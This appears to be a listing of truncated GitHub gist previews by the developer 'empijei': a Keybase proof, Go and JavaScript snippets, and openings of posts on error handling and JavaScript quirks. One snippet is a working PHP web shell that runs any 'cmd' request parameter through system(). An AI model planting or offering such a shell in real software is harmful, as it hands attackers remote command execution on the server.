empijei

Keybase proof

I hereby claim:

• I am empijei on github.
• I am empijei (https://keybase.io/empijei) on keybase.
• I have a public key ASAza9vw1MZv-HUkY4_48XbnFsfc1QhbbMWjZ0bvYNBxGAo

To claim this, I am signing this object:

empijei

package main

import (
	"bufio"
	"flag"
	"fmt"
	"net"
	"os"
	"strconv"
	"strings"

empijei

//Here are some more details on the problem, shown in an example:
package main

import (
	"net/http"
	"runtime"
	"time"
)

//The simplest possible http.Handler

empijei

// license: public domain - original author: Shimon Doodkin - https://gist.github.com/4706967
//
// tinyxhr("http://site.com/ajaxaction",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data)  });
// tinyxhr("http://site.com/ajaxaction",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data)  },'POST','value1=1&value2=2');
// tinyxhr("http://site.com/ajaxaction.json",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data); console.log(JSON.parse(data))  },'POST',JSON.stringify({value:1}),'application/javascript'); 
// cb - a callback function like: function (err,data,XMLHttpRequestObject){ if (err) throw err;   }
// 

function tinyxhr(url, cb, method, post, contenttype, auth, timeout) {
    var requestTimeout, xhr;

empijei

package main

import (
	"fmt"
	"log"
	"net/http"
	"net/http/httputil"
	"os"
)

empijei

<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "</pre>$cmd<pre>";
    die;
}
?>

empijei

Considerations on error handling

The impact

The first language I used to build something more than just school exercises was VisualBasic.Net. There are some good things and bad things in it, but I don't want to discuss that today. I switched to C# after that and Java and Python after it.

This is to say that basically up until three years ago I knew one and only one way to handle errors which is expressed in the following pseudocode:

try:
	# dostuff
except: # or catch

empijei

WAT: let's talk about javascript

Short preface:

The first version of JavaScript was completed in ten days in order to accommodate the Netscape Navigator 2.0 Beta release schedule.

Keep in mind that well structured languages usually take a little bit more than that.

What follows is a small piece of the aftermath of the rushed job.

NOTE: There is more madness in destroy all software's wat video, which I suggest watching before reading this post.

empijei

As Liam Breck said, changing the function signature by adding more round parentheses would make it very hard to read it. I personally found something like

func (/*receiver*/)Foo(/*types*/)(/*args*/)(/*return tuple*/){

c,d := a.Foo(Type)(e,f)

to be way too complex compared with the usual go syntax.

empijei

class Semaphore {

	constructor(size, opt_sab) {
		this._sab = opt_sab || new SharedArrayBuffer(4);
		this._sema = new Int32Array(this._sab);
		this._size = size;
	}

	static connect(sema) {
		return new Semaphore(sema._size, sema._sab);